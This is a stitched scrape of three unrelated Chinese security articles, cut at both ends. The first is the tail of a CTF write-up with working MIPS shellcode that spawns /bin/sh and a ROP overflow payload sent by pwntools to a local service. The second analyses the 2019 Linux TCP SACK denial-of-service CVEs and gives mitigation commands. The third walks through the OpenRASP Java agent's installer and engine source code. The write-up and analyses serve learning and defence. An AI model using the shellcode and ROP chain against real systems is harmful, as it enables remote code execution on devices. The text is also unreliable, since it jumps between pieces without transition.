usleep = 0xEA810
# sleep = 0xB2600
shellcode = b""
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\x62\x69\x0f\x3c" # lui $t7, 0x6962 ib
shellcode += b"\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f ib//
shellcode += b"\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += b"\x73\x68\x0e\x3c" # lui $t6, 0x6873 hs
shellcode += b"\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e hs/n
shellcode += b"\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += b"\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += b"\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc //bin/sh
shellcode += b"\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += b"\xab\x0f\x02\x24" # addiu $v0, $zero, 0xfab
shellcode += b"\x0c\x01\x01\x01" # syscall 0x40404
payload = ''
payload += 'a'*508
payload += p32(set_s3_addr+libc_base) # overflow return address1
payload += 'b'*44
payload += '0000' #s0
payload += p32(jr_t9_jr_ra+libc_base) #s1
payload += p32(usleep+libc_base) #s2
payload += '3333' #s3
payload += p32(set_a0_addr+libc_base) #ra # overflow return address2
payload += 'c'*48
payload += p32(jr_a1+libc_base) #s3 # goto a1(shellcode)
payload += p32(addiu_a1_sp+libc_base) #ra # overflow return address3,modify a1 to sp+24(shellcode),goto s3
payload += 'd'*24
payload += shellcode
# payload = ''
# payload += 'a'*508
# payload += p32(set_s3_addr+libc_base)
# payload += 'b'*44
# payload += '0000' #s0
# payload += '1111' #s1
# payload += '2222' #s2
# payload += p32(jr_a1+libc_base) #s3
# payload += p32(addiu_a1_sp+libc_base) #ra
# payload += 'd'*24
# payload += shellcode
# io = process(['qemu-mipsel', '-L', './', '-g', '12345','./eserver'])
# io = process(['qemu-mipsel', '-L', './', './eserver'])
io = remote('127.0.0.1', 49154)
io.sendlineafter('Input package: ', payload)
io.sendlineafter('Input package: ', 'EXIT')
io.interactive()
## 总结
这个题目让我了解了mips架构下rop的利用方式以及流水指令特点对shellcode执行的影响，熟悉了该架构下的调试方法和技巧，整体上是中规中矩的一道工控方向的题目，但是对mips架构rop能力还是有一定要求的，总之学到很多，各位加油！！
## 注
1. system模式lib依赖 system 模式替换lib 会出现各种问题 用user模式调
2. mipsel流水指令特点，user模式模拟 qemu翻译的特点导致指令流水有时候表现不出来 | 社区文章 |
**作者： 启明星辰ADLab**
**公众号：<https://mp.weixin.qq.com/s/cVZvgd5xvj4ljchlwDSDYQ>**
## 一、漏洞背景
2019年6月18日，Redhat发布安全公告，Linux内核TCP/IP协议栈存在3个安全漏洞（CVE-2019-11477/CVE-2019-11478/CVE-2019-11479），这些漏洞与最大分段大小（MSS）和TCP选择性确认（SACK）功能相关，允许远程攻击者进行拒绝服务攻击。
## 二、关键概念
（一）数据包重传确认机制
TCP数据包传输过程中，来自滑动窗口的数据包丢失可能对TCP吞吐量产生影响。TCP使用累积确认（ACK）方案解决该问题，其中不接收不在滑动窗口左边缘的接收段，这会强制发送方等待往返时间以找出每个丢失的数据包，或者不必要地重新传输已正确接收的段，从而降低整体吞吐量。
选择性确认（SACK）是一种在多个丢弃的段的情况下解决此行为的策略。通过选择性确认，数据接收方可以向发送方通知已成功达到的所有段，因此发送方只需重新传输实际丢失的段。具体选择性确认过程，如下图所示。
（二）最大分段大小（Max Segment Size）
MSS（Maximum Segment
Size，最大报文段大小）的概念是指TCP层所能够接收的最大分段大小，该值只包括TCP段的数据部分，不包括Option部分。另外，在TCP首部有一个MSS选项，在三次握手过程中，TCP发送端使用该选项告诉对方自己所能接受的最大分段大小。
（三）TSO（TCP Segmentation Offload）
TSO是一种利用网卡来对大数据包进行自动分段，降低CPU负载的技术。其主要是延迟分段。
（四）GSO(Generic Segmentation Offload)
GSO是协议栈是否推迟分段，在发送到网卡之前判断网卡是否支持TSO，如果网卡支持TSO则让网卡分段，否则协议栈分完段再交给驱动。如果TSO开启，GSO会自动开启。
## 三、漏洞原理
（一） CVE-2019-11477
根据补丁可知，该漏洞是由一个16bit无符号数溢出导致的，该无符号数存在如下结构体中。
该tcp_skb_cb结构体存放着TCP每个数据包的控制信息，根据注释可知，tcp_gso_segs/size只用于写队列过程中。
Linux内核TCP/IP协议栈实现中，每个数据缓冲区是由一个sk_buff结构体统一管理的。在一个完整的数据缓冲区中skb_end后面紧跟着一个skb_shared_info结构体数据，skb_shared_info结构体如下所示：
结构体最后一个成员是frags[MAX_SKB_FRAGS]数据。MAX_SKB_FRAGS声明如下所示：
PAGE_SIZE为4KB情况下（即一个内存页面为4KB大小），MAX_SKB_FRAGS取值为65536/4096 +
1即17，因此一个skb中最多容纳17个数据分片。对于x86系统，每个数据分片最多可以记录32KB数据的大小。
数据分片skb_frag_struct结构体如下所示：
在整个协议栈操作过程中，数据包既要进行IP被分片的，又要进行TCP分段。传输数据时，协议栈会根据GSO值，MSS值以及滑动窗口三者之间的大小关系判断是否进行分片。并通过tcp_set_skb_tso_segs()函数设置GSO，具体实现如下图所示：
如果skb->len大于mss_now，行1207，将tcp_gso_segs设置为skb->len/mss_now。行1208，将tcp_gso_size设置为mss_now。
如果启用了SACK，在发生丢包后，接收端会返回SACK块，SACK块中记录着丢失包的序列编号。发送端会解析SACK块中记录的丢失包序列编号，并重新传输，而且在一个滑动窗口中可能包含多个SACK块，SACK块中也可能包含多个skb队列。在TCP重传数据包过程中，可以将多个skb队列合并到一个skb队列中进行重传。
tcp_shift_skb_data()函数实现这个功能。尝试将跨越多个skb的SACK块折叠为一个skb。关键代码如下：
skb_shift()和tcp_shifted_skb()两个函数主要实现该功能。重传过程中多个skb队列合并到一个skb队列中，如果填充17个分片到最大容量，
`17 * 32 * 1024/8=69632`，已经大于65535，导致无符号整数溢出。
在skb_shift ()函数中，tcp_gso_segs溢出后，进入tcp_shifted_skb()函数后，如下所示：
行1299，判断tcp_gso_segs和pcount的大小，如果tcp_gas_segs小于pcount，BUG_ON断言触发导致内核崩溃。
根据补丁可知，skb_shift()被tcp_skb_shift()代替，只是加了两个判断，如下所示：
补丁中分别判断了skb->len+shift_len不能大于65535*8字节和tcp_skb_pcount(to) +
pcount不能大于65535。第一个判断，skb->len是表示sk_buff结构体中表示payload长度，shift_len表示要合并到skb中的payload。
（二） CVE-2019-11478
该漏洞也是整数溢出，在数据包重新传输过程中，将传输队列分段为多个微小的skbs，膨胀skb中写队列内存发生溢出。在处理SACK块中包含的skb并将其合并后，根据GSO判断进行是否分片，如果需要，调用tcp_fragement()函数进行分片。根据补丁可知：
补丁在tcp_fragment()函数中加入了最小空间判断。Sk是sock结构体类型，每一个tcp链接对应一个。所以所有要发送的skb数据大小都要累加到sk->sk_wmem_queued中，sk->sk_wmem_queued表示为该套接字TCP写队列缓冲区大小。通常在使用时候需要判断该值是否够用。如下所示：
根据注释可知，判断最新排队skb包所需的最小可写空间。补丁中，判断剩余发送缓存为大于等于当前发送队列占用空间的一半，即还有1/3以上的空余空间时，并且小于sk->sk_sndbuf发送上限才可以正常发送，否则就判定TCP写队列太大。
（三） CVE-2019-11479
?
该漏洞由于过度消耗资源导致拒绝服务。如果恶意数据包将MSS选项设置成较小值，这将迫使协议栈花费非常高的网络或CPU资源发送数据包开销。Linux内核中将MSS_NOW硬编码为48。根据补丁可知：
进行了max最大值判断，而不再是固定硬编码。这里的sysctl_tcp_min_snd_mss被设置为65535，如下所示：
避免了攻击者使用极小MSS值。
## 四、影响版本及补丁修复
及时更新最新补丁或禁用SACK和过滤极小MSS的数据包。
CVE-2019-11477
|
影响版本：
Linux 2.6.29 ~ 4.19.13（stable kernel releases4.4.182, 4.9.182, 4.14.127,
4.19.52, 5.1.11除外）
RHEL 8 (kernel, kernel-rt)，RHEL 7 (kernel, kernel-rt)，RHEL 6
---|---
禁用sack：
sudo sysctl -w net.ipv4.tcp_sack=0
补丁：
<https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=3b4929f65b0d8249f19a50245cd88ed1a2f78cff>
CVE-2019-11478
|
影响版本：
Linux 2.6.29 ~ 4.19.13（stable kernel releases4.4.182, 4.9.182, 4.14.127,
4.19.52, 5.1.11除外）
RHEL 8 (kernel, kernel-rt)，RHEL 7 (kernel, kernel-rt)，RHEL 6，RHEL 5
禁用sack：
sudo sysctl -w net.ipv4.tcp_sack=0
补丁：
[https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=f070ef2ac66716357066b683fb0baf55f8191a2e
](https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=f070ef2ac66716357066b683fb0baf55f8191a2e)
CVE-2019-11479
|
影响版本：
Linux 2.6.29 ~ 4.19.13（stable kernel releases4.4.182, 4.9.182, 4.14.127,
4.19.52, 5.1.11除外）
RHEL 8 (kernel, kernel-rt)，RHEL 7 (kernel, kernel-rt)，RHEL 6，RHEL 5
过滤命令：
sudo iptables -A INPUT -p tcp -m tcpmss --mss 1:500 -j DROP
关闭tcp_mtu_probing：
sysctl net.ipv4.tcp_mtu_probing
补丁：
<https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=5f3e2bf008c2221478101ee72f5cb4654b9fc363
>
[https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=967c05aee439e6e5d7d805e195b3a20ef5c433d6
](https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=967c05aee439e6e5d7d805e195b3a20ef5c433d6)
* * * | 社区文章 |
### 0x01 介绍
<https://github.com/baidu/openrasp>
#### Introduction
Unlike perimeter control solutions like WAF, OpenRASP directly integrates its
protection engine into the application server by instrumentation. It can
monitor various events including database queries, file operations and network
requests etc.
When an attack happens, WAF matches the malicious request with its signatures
and blocks it. OpenRASP takes a different approach by hooking sensitive
functions and examines/blocks the inputs fed into them. As a result, this
examination is context-aware and in-place. It brings in the following
benefits:
1. Only successful attacks can trigger alarms, resulting in lower false positive and higher detection rate;
2. Detailed stack trace is logged, which makes the forensic analysis easier;
3. Insusceptible to malformed protocol.
#### 我的理解
在我阅读了OpenRASP的源码后，再次解读官方对其的介绍，我认为OpenRASP就是一个不同于WAF，它是通过JavaAgent，然后利用Instrumentation在class加载时，通过javassist的方式hook目标class的method，在其method插桩，以进行一系列的安全基准测试或运行时的安全检查，它相对于WAF来说，具有非常大的优势，但这是相对的，它的优点的存在恰恰也造成了一定的缺点。
优点：
1. WAF依靠特征检测攻击，但会造成一定的误报率，而OpenRASP不一样，必须是成功的攻击才会触发报警
2. OpenRASP插桩到代码层面，可以记录详细的栈堆跟踪信息
缺点：
1. 因为侵入到代码层面，导致必然会造成一定的性能损耗，并且一个不合格的rasp更容易影响到业务代码
#### 重点阅读部分
从github clone下来项目之后，我们可以看到具体的目录大致构成是这样的：
LICENSE build-cloud.sh build-php7.sh docker plugins rasp-vue travis
README.md build-java.sh cloud openrasp-v8 rasp-2019-12-12 readme-zh_CN.md
agent build-php5.sh contributors.md package-lock.json rasp-install siem
而我主要关心的是：
1. agent/java/boot（OpenRASP JavaAgent源码）
2. agent/java/engine（OpenRASP主要唯一的module）
3. rasp-install/java（OpenRASP安装源码）
4. plugins（js插件，OpenRASP检查攻击的主要源码，因为js的热部署性而采用）
* * *
### 0x02 OpenRASP的安装原理
java源码实现，位置rasp-install/java
#### 宏观上的审视
查看源码工程，其具有两个package
-install
++linux
++windows
-uninstall
++linux
++windows
其实就是对OpenRASP的安装和卸载做的封装，interfece Installer和interface Uninstaller分别是它们的抽象定义
public interface Installer {
void install() throws RaspError, IOException;
}
public interface Uninstaller {
void uninstall() throws RaspError, IOException;
}
包中都是对Installer、Uninstaller基于不同操作系统、web服务器的实现，并通过了工厂模式，根据参数、环境变量、目录信息特征等，选择对应的实现
public abstract class InstallerFactory
public abstract class UninstallerFactory
OpenRASP的安装程序主要入口位于：
package com.baidu.rasp
com.baidu.rasp.App#main
#### 微观细节的跟踪
应用入口：
public static void main(String[] args) {
try {
operateServer(args);
} catch (Exception e) {
if (e instanceof RaspError || e instanceof UnrecognizedOptionException) {
System.out.println(e.getMessage());
} else {
e.printStackTrace();
}
showNotice();
System.exit(1);
}
}
主要代码：
public static void operateServer(String[] args) throws RaspError, ParseException, IOException {
showBanner();
argsParser(args);
checkArgs();
if ("install".equals(install)) {
File serverRoot = new File(baseDir);
InstallerFactory factory = newInstallerFactory();
Installer installer = factory.getInstaller(serverRoot, noDetect);
if (installer != null) {
installer.install();
} else {
throw new RaspError(E10007);
}
} else if ("uninstall".equals(install)) {
File serverRoot = new File(baseDir);
UninstallerFactory factory = newUninstallerFactory();
Uninstaller uninstaller = factory.getUninstaller(serverRoot);
if (uninstaller != null) {
uninstaller.uninstall();
} else {
throw new RaspError(E10007);
}
}
}
代码跟进：
1. showBanner()：通过该方法输出了OpenRASP安装程序的一些banner信息
2. argsParser(args)：该方法主要是对程序启动参数的解析和校验，它通过commons-cli的功能，对启动参数进行一系列的解析和校验
install：指定该操作为安装
uninstall：指定该操作为卸载
appid：OpenRASP连接到RASP Cloud的认证appid
appsecret：OpenRASP连接到RASP Cloud的认证appsecret
heartbeat：OpenRASP连接到RASP Cloud的心跳检测时间间隔
raspid：OpenRASP的id
backendurl：RASP Cloud地址
keepconf：
h：帮助指令
pid：若使用OpenRASP的web程序非容器化，而是类似SpringBoot独立jar运行的时候，需要通过pid指定其Java server通过attach模式去使用
nodetect：指定为类似SpringBoot独立jar运行的安装
prepend：是否使用JavaAgent的模式比web容器更早启动
1. checkArgs()：对程序启动参数格式、范围等校验
appId、appSecret、raspId、url、heartbeatInterval
1. 根据参数判断是安装还是卸载，若是安装，则通过安装工厂newInstallerFactory获取安装实例进行执行安装，若是卸载，则通过卸载工厂newUninstallerFactory获取卸载实例进行执行卸载，安装、卸载工厂的不同操作系统实现，是根据系统变量os.name进行判断
private static InstallerFactory newInstallerFactory() {
if (System.getProperty("os.name").startsWith("Windows")) {
return new WindowsInstallerFactory();
} else {
return new LinuxInstallerFactory();
}
}
private static UninstallerFactory newUninstallerFactory() {
if (System.getProperty("os.name").startsWith("Windows")) {
return new WindowsUninstallerFactory();
} else {
return new LinuxUninstallerFactory();
}
}
获取安装实例：
public Installer getInstaller(File serverRoot, boolean noDetect) throws RaspError {
if (!serverRoot.exists()) {
throw new RaspError(E10002 + serverRoot.getPath());
}
if (noDetect) {
return new GenericInstaller(GENERIC, serverRoot.getAbsolutePath());
}
String serverName = detectServerName(serverRoot.getAbsolutePath());
if (serverName == null) {
App.listServerSupport(serverRoot.getPath());
}
System.out.println("Detected JDK version: " + System.getProperty("java.version"));
System.out.println("Detected application server type: " + serverName);
return getInstaller(serverName, serverRoot.getAbsolutePath());
}
可以看到，对于使用了启动参数nodetect的安装，选择的是GenericInstaller通用安装实例，否则会通过detectServerName(String
serverRoot)方法进行web服务器的特征检测
public static String detectServerName(String serverRoot) throws RaspError {
if (new File(serverRoot, "bin/catalina.sh").exists()
|| new File(serverRoot, "bin/catalina.bat").exists()
|| new File(serverRoot, "conf/catalina.properties").exists()
|| new File(serverRoot, "conf/catalina.policy").exists()) {
return TOMCAT;
}
if (new File(serverRoot, "bin/probe.sh").exists()
|| new File(serverRoot, "bin/probe.bat").exists()
|| new File(serverRoot, "bin/twiddle.sh").exists()
|| new File(serverRoot, "bin/twiddle.bat").exists()) {
return JBOSS;
}
if (new File(serverRoot, "bin/httpd.sh").exists()
|| new File(serverRoot, "bin/resin.sh").exists()) {
return RESIN;
}
if (new File(serverRoot, "bin/startWebLogic.sh").exists()
|| new File(serverRoot, "bin/startWebLogic.bat").exists()) {
return WEBLOGIC;
}
if (new File(serverRoot, "bin/standalone.sh").exists()
|| new File(serverRoot, "bin/standalone.bat").exists()) {
try {
return isWildfly(serverRoot) ? WILDFLY : JBOSSEAP;
} catch (Exception e) {
return null;
}
}
return null;
}
特征检测的方式，无一不是通过检测特定目录是否存在shell脚本实现
执行安装：
安装核心方法：install()
1. GenericInstaller通用安装：
先是根据当前jar的目录获取到其子目录rasp，若不存在则新建
String jarPath = getLocalJarPath();
File srcDir = new File(new File(jarPath).getParent() + File.separator + "rasp");
if (!(srcDir.exists() && srcDir.isDirectory())) {
srcDir.mkdirs();
}
接着通过设定的安装目录，检测openrasp.yml是否存在，用以判断是否第一次安装，然后拷贝rasp文件夹至目标安装目录
File installDir = new File(getInstallPath(serverRoot));
File configFile = new File(installDir.getCanonicalPath() + File.separator + "conf" + File.separator + "openrasp.yml");
if (!configFile.exists()) {
firstInstall = true;
}
if (!srcDir.getCanonicalPath().equals(installDir.getCanonicalPath())) {
// 拷贝rasp文件夹
System.out.println("Duplicating \"rasp\" directory\n- " + installDir.getCanonicalPath());
FileUtils.copyDirectory(srcDir, installDir);
}
删除官方js插件
//安装rasp开启云控，删除官方插件
if (App.url != null && App.appId != null && App.appSecret != null) {
File plugin = new File(installDir.getCanonicalPath() + File.separator + "plugins" + File.separator + "official.js");
if (plugin.exists()) {
plugin.delete();
}
}
若不是第一次安装，则会把目标安装目录下原有配置文件修改名称为openrasp.yml.bak，然后拷贝当前jar目录下的openrasp.yml到目标安装目录的conf子目录
// 生成配置文件
if (!generateConfig(installDir.getPath(), firstInstall)) {
System.exit(1);
}
private boolean generateConfig(String dir, boolean firstInstall) {
try {
String sep = File.separator;
File target = new File(dir + sep + "conf" + sep + "openrasp.yml");
System.out.println("Generating \"openrasp.yml\"\n- " + target.getAbsolutePath());
if (target.exists() && App.keepConfig) {
System.out.println("- Already exists and reserved openrasp.yml, continuing ..");
return true;
}
if (target.exists() && !firstInstall) {
File reserve = new File(dir + sep + "conf" + sep + "openrasp.yml.bak");
if (!reserve.exists()) {
reserve.createNewFile();
}
FileOutputStream outputStream = new FileOutputStream(reserve);
FileInputStream inputStream = new FileInputStream(target);
IOUtils.copy(inputStream, outputStream);
outputStream.close();
inputStream.close();
System.out.println("- Backed up openrasp.yml to openrasp.yml.bak");
} else {
System.out.println("- Create " + target.getAbsolutePath());
target.getParentFile().mkdir();
target.createNewFile();
}
FileOutputStream outputStream = new FileOutputStream(target);
InputStream is = this.getClass().getResourceAsStream("/openrasp.yml");
IOUtils.copy(is, outputStream);
is.close();
outputStream.close();
// 配置云控
setCloudConf();
// 配置其它选项
Map<String, Object> ymlData = new HashMap<String, Object>();
if (App.raspId != null) {
ymlData.put("rasp.id", App.raspId);
}
if (!ymlData.isEmpty()) {
setRaspConf(ymlData, "# <rasp id>");
}
} catch (IOException e) {
e.printStackTrace();
return false;
}
return true;
}
其中通过setCloudConf()方法，把云控所需的程序启动参数，写到配置文件openrasp.yml中
appid：OpenRASP连接到RASP Cloud的认证appid
appsecret：OpenRASP连接到RASP Cloud的认证appsecret
backendurl：RASP Cloud地址
heartbeat：OpenRASP连接到RASP Cloud的心跳检测时间间隔
写入的格式（yml）：
cloud:
enable: true
backend_url: backendurl
app_id: appid
app_secret: appsecret
heartbeat_interval: heartbeat
1. TomcatInstaller
相对于通用安装的主要流程，它们并没有什么区别，区别仅仅在于配置文件写完后，TomcatInstaller会tomcat的安装目录下的bin/catalina.sh脚本进行修改
位于：com.baidu.rasp.install.BaseStandardInstaller#generateStartScript
com.baidu.rasp.install.linux.TomcatInstaller#getScript -> foundScriptPath(String installDir)：查找bin/catalina.sh脚本路径
com.baidu.rasp.install.BaseStandardInstaller#modifyStartScript(String content)：入参content即为脚本内容
在修改脚本时，会找到对应的位置写入或删除原有OpenRASP内容，写入新的脚本，然后根据程序启动参数prepend选择插入不同的rasp启动方式：
比web容器bootstrap更先启动：
private static String PREPEND_JAVA_AGENT_CONFIG = "\tJAVA_OPTS=\"${JAVA_OPTS} -javaagent:${CATALINA_HOME}/rasp/rasp.jar\"\n";
较web容器bootstrap更后启动：
private static String JAVA_AGENT_CONFIG = "\tJAVA_OPTS=\"-javaagent:${CATALINA_HOME}/rasp/rasp.jar ${JAVA_OPTS}\"\n";
#### 总结下来：
/**
* 操作判断：
* 1.根据第一个参数判断是安装还是卸载
*
* 安装类型判断：
* 1.判断操作系统
* 2.判断服务器类型
* 3.创建相应的安装器
*
* 普通安装：
* 1.读启动参数
* 2.把rasp目录copy到target目录
* 3.若openrasp.yml存在则备份成openrasp.yml.bak，然后新写入openrasp.yml文件
* 4.写入部分启动参数到openrasp.yml文件，启动云控
*
* 非普通安装：
* 1. 修改启动shell脚本，插入agent启动信息
*
*/
* * *
### 0x03 OpenRASP的启动工作
java源码实现，位置：agent/java/boot
入口代码：
/**
* 启动时加载的agent入口方法
*
* 1. javaagent在JVMTI特定状态时调用premain
* 2. 把自身jar包放到java根目录，让启动类加载器能加载到（后续在这个javaagent会对启动类加载的class进行插桩，插桩代码点会调用rasp代码，因为启动类加载器加载的类是没办法去调用得到启动类加载器加载不到的类）
* 3. 在当前jar包所在目录找到rasp-engine.jar
* 4. 使用rasp-engine.jar初始化模块容器
* 5. 找到manifest文件制定的Rasp-Module-Class实例化成module，然后调用该module.start()
*
* @param agentArg 启动参数
* @param inst {@link Instrumentation}
*/
public static void premain(String agentArg, Instrumentation inst) {
init(START_MODE_NORMAL, START_ACTION_INSTALL, inst);
}
/**
* attach 机制加载 agent
*
* @param agentArg 启动参数
* @param inst {@link Instrumentation}
*/
public static void agentmain(String agentArg, Instrumentation inst) {
init(Module.START_MODE_ATTACH, agentArg, inst);
}
具有两种方式的启动，一种是JVMTI调用premain方式，一种是attach机制加载agent的方式。
String START_MODE_ATTACH = "attach";
String START_MODE_NORMAL = "normal";
核心：
/**
* attack 机制加载 agent
*
* @param mode 启动模式
* @param inst {@link Instrumentation}
*/
public static synchronized void init(String mode, String action, Instrumentation inst) {
try {
JarFileHelper.addJarToBootstrap(inst);
readVersion();
ModuleLoader.load(mode, action, inst);
} catch (Throwable e) {
System.err.println("[OpenRASP] Failed to initialize, will continue without security protection.");
e.printStackTrace();
}
}
1. JarFileHelper.addJarToBootstrap(inst)：添加当前执行的jar文件至jdk的跟路径下，启动类加载器能优先加载，后续在这个javaagent会对启动类加载的class进行插桩，插桩代码点会调用rasp代码，因为启动类加载器加载的类是没办法去调用得到启动类加载器加载不到的类，因为每个类加载器都有自己的类加载目录
2. readVersion()：读取MANIFEST.MF相关信息
3. ModuleLoader.load(mode, action, inst)：加载rasp-engine.jar中的module实现（目前为止，仅有这一个module实现）
/**
* 加载所有 RASP 模块
*
* @param mode 启动模式
* @param inst {@link java.lang.instrument.Instrumentation}
*/
public static synchronized void load(String mode, String action, Instrumentation inst) throws Throwable {
if (Module.START_ACTION_INSTALL.equals(action)) {
if (instance == null) {
try {
instance = new ModuleLoader(mode, inst);
} catch (Throwable t) {
instance = null;
throw t;
}
} else {
System.out.println("[OpenRASP] The OpenRASP has bean initialized and cannot be initialized again");
}
} else if (Module.START_ACTION_UNINSTALL.equals(action)) {
release(mode);
} else {
throw new IllegalStateException("[OpenRASP] Can not support the action: " + action);
}
}
/**
* 构造所有模块
*
* @param mode 启动模式
* @param inst {@link java.lang.instrument.Instrumentation}
*/
private ModuleLoader(String mode, Instrumentation inst) throws Throwable {
if (Module.START_MODE_NORMAL == mode) {
setStartupOptionForJboss();
}
engineContainer = new ModuleContainer(ENGINE_JAR);
engineContainer.start(mode, inst);
}
public static final String ENGINE_JAR = "rasp-engine.jar";
可以看到，这里的实现是创建容器并启动，容器的实现是rasp-engine.jar，如果细看ModuleContainer的源码，可以发现，在其构造方法中，读取了rasp-engine.jar中MANIFEST.MF文件的Rasp-Module-Name、Rasp-Module-Class信息，此信息用于指定rasp-engine.jar中module容器的实现类，然后agent中的module加载器根据此信息加载module容器并调用start方法启动
* * *
### 0x04 OpenRASP engine的启动
java源码实现，位置：agent/java/engine
入口代码（com.baidu.openrasp.EngineBoot）：
@Override
public void start(String mode, Instrumentation inst) throws Exception {
System.out.println("\n\n" +
" ____ ____ ___ _____ ____ \n" +
" / __ \\____ ___ ____ / __ \\/ | / ___// __ \\\n" +
" / / / / __ \\/ _ \\/ __ \\/ /_/ / /| | \\__ \\/ /_/ /\n" +
"/ /_/ / /_/ / __/ / / / _, _/ ___ |___/ / ____/ \n" +
"\\____/ .___/\\___/_/ /_/_/ |_/_/ |_/____/_/ \n" +
" /_/ \n\n");
try {
V8.Load();
} catch (Exception e) {
System.out.println("[OpenRASP] Failed to load V8 library, please refer to https://rasp.baidu.com/doc/install/software.html#faq-v8-load for possible solutions.");
e.printStackTrace();
return;
}
if (!loadConfig()) {
return;
}
//缓存rasp的build信息
Agent.readVersion();
BuildRASPModel.initRaspInfo(Agent.projectVersion, Agent.buildTime, Agent.gitCommit);
// 初始化插件系统
if (!JS.Initialize()) {
return;
}
CheckerManager.init();
initTransformer(inst);
String message = "[OpenRASP] Engine Initialized [" + Agent.projectVersion + " (build: GitCommit="
+ Agent.gitCommit + " date=" + Agent.buildTime + ")]";
System.out.println(message);
Logger.getLogger(EngineBoot.class.getName()).info(message);
}
可以看到，一共就做了以下这些工作：
1. 输出banner信息
2. V8引擎的加载，用于解释执行JavaScript
3. loadConfig()：初始化配置
private boolean loadConfig() throws Exception {
LogConfig.ConfigFileAppender();
//单机模式下动态添加获取删除syslog
if (!CloudUtils.checkCloudControlEnter()) {
LogConfig.syslogManager();
} else {
System.out.println("[OpenRASP] RASP ID: " + CloudCacheModel.getInstance().getRaspId());
}
return true;
}
LogConfig.ConfigFileAppender()：初始化log4j
CloudUtils.checkCloudControlEnter()：检查云控配置信息
LogConfig.syslogManager()：读取配置信息，初始化syslog服务连接
1. JS.Initialize()：初始化插件系统
为V8配置java的logger以及栈堆信息Getter（用于在js中获取当前栈堆信息）
public synchronized static boolean Initialize() {
try {
V8.Load();
if (!V8.Initialize()) {
throw new Exception("[OpenRASP] Failed to initialize V8 worker threads");
}
V8.SetLogger(new com.baidu.openrasp.v8.Logger() {
@Override
public void log(String msg) {
PLUGIN_LOGGER.info(msg);
}
});
V8.SetStackGetter(new com.baidu.openrasp.v8.StackGetter() {
@Override
public byte[] get() {
try {
ByteArrayOutputStream stack = new ByteArrayOutputStream();
JsonStream.serialize(StackTrace.getParamStackTraceArray(), stack);
stack.write(0);
return stack.getByteArray();
} catch (Exception e) {
return null;
}
}
});
Context.setKeys();
if (!CloudUtils.checkCloudControlEnter()) {
UpdatePlugin();
InitFileWatcher();
}
return true;
} catch (Exception e) {
e.printStackTrace();
LOGGER.error(e);
return false;
}
}
UpdatePlugin()：读取plugins目录下的js文件，过滤掉大于10MB的js文件，然后全部读入，最后加载到V8引擎中
public synchronized static boolean UpdatePlugin() {
boolean oldValue = HookHandler.enableHook.getAndSet(false);
List<String[]> scripts = new ArrayList<String[]>();
File pluginDir = new File(Config.getConfig().getScriptDirectory());
LOGGER.debug("checker directory: " + pluginDir.getAbsolutePath());
if (!pluginDir.isDirectory()) {
pluginDir.mkdir();
}
FileFilter filter = FileFilterUtils.and(FileFilterUtils.sizeFileFilter(10 * 1024 * 1024, false),
FileFilterUtils.suffixFileFilter(".js"));
//过滤掉大于10MB的js文件
File[] pluginFiles = pluginDir.listFiles(filter);
if (pluginFiles != null) {
for (File file : pluginFiles) {
try {
String name = file.getName();
String source = FileUtils.readFileToString(file, "UTF-8");
scripts.add(new String[]{name, source});
} catch (Exception e) {
LogTool.error(ErrorType.PLUGIN_ERROR, e.getMessage(), e);
}
}
}
HookHandler.enableHook.set(oldValue);
return UpdatePlugin(scripts);
}
public synchronized static boolean UpdatePlugin(List<String[]> scripts) {
boolean rst = V8.CreateSnapshot("{}", scripts.toArray(), BuildRASPModel.getRaspVersion());
if (rst) {
try {
String jsonString = V8.ExecuteScript("JSON.stringify(RASP.algorithmConfig || {})", "get-algorithm-config.js");
Config.getConfig().setConfig("algorithm.config", jsonString, true);
} catch (Exception e) {
LogTool.error(ErrorType.PLUGIN_ERROR, e.getMessage(), e);
}
Config.commonLRUCache.clear();
}
return rst;
}
这里有一个commonLRUCache，主要是用于在hook点去执行js check的时候，进行一个并发幂等（应该是这样。。。）。
InitFileWatcher()：初始化一个js plugin监视器，在js文件有所变动的时候，重新去加载所有插件，实现热更新的特性
public synchronized static void InitFileWatcher() throws Exception {
boolean oldValue = HookHandler.enableHook.getAndSet(false);
if (watchId != null) {
FileScanMonitor.removeMonitor(watchId);
watchId = null;
}
watchId = FileScanMonitor.addMonitor(Config.getConfig().getScriptDirectory(), new FileScanListener() {
@Override
public void onFileCreate(File file) {
if (file.getName().endsWith(".js")) {
UpdatePlugin();
}
}
@Override
public void onFileChange(File file) {
if (file.getName().endsWith(".js")) {
UpdatePlugin();
}
}
@Override
public void onFileDelete(File file) {
if (file.getName().endsWith(".js")) {
UpdatePlugin();
}
}
});
HookHandler.enableHook.set(oldValue);
}
1. CheckerManager.init()：初始化所有的checker，从枚举类com.baidu.openrasp.plugin.checker.CheckParameter.Type中读取所有的checker，包含三种类型的checker，一是js插件检测，意味着这个checker会调用js plugin进行攻击检测，二是java本地检测，意味着是调用本地java代码进行攻击检测，三是安全基线检测，是用于检测一些高风险类的安全性基线检测，检测其配置是否有安全隐患。
// js插件检测
SQL("sql", new V8Checker(), 1),
COMMAND("command", new V8Checker(), 1 << 1),
DIRECTORY("directory", new V8Checker(), 1 << 2),
REQUEST("request", new V8Checker(), 1 << 3),
DUBBOREQUEST("dubboRequest", new V8Checker(), 1 << 4),
READFILE("readFile", new V8Checker(), 1 << 5),
WRITEFILE("writeFile", new V8Checker(), 1 << 6),
FILEUPLOAD("fileUpload", new V8Checker(), 1 << 7),
RENAME("rename", new V8Checker(), 1 << 8),
XXE("xxe", new V8Checker(), 1 << 9),
OGNL("ognl", new V8Checker(), 1 << 10),
DESERIALIZATION("deserialization", new V8Checker(), 1 << 11),
WEBDAV("webdav", new V8Checker(), 1 << 12),
